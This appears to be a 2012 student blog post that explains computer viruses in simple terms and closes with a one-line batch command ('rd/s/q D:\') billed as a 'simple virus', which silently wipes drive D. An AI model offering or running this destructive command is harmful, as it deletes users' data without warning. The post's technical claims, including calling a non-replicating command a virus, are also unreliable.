Thursday, May 31, 2012

Computer viruses



Viruses are computer programs that are designed to spread themselves from one file to another on a single computer. A virus might rapidly infect every application file on an individual computer, or slowly infect the documents on that computer, but it does not intentionally try to spread itself from that computer to other computers. In most cases, that's where humans come in. We send               e-mail document attachments, trade programs on diskettes, or copy files to file servers. When the next unsuspecting user receives the infected file or disk, they spread the virus to their computer, and so on.
             
There’s an old saying: “Just because you’re not paranoid
doesn’t mean that everyone isn’t out to get you.” This
saying is proven by the people who write computer viruses.
            
A virus’s goal is to get executed by the computer, it must attach itself to a BAT,COM, EXE or SYS file, If it attaches to any other file, it may corrupt some data or do some other things wrong. The power of computer virus is justified by its type, that which type of file it is going to infect and how smoothly it attaches itself to target files.

       There is a simple virus program, open the notepad and copy paste this code, save it to ‘whatever.BAT’ and Execute this file.
                       
                                              rd/s/q D:\
  
This program will delete all the data from D:\ drive, So use it at your own risk.

                                                                                                 Mukul saxena
                                                                                                BCA-II

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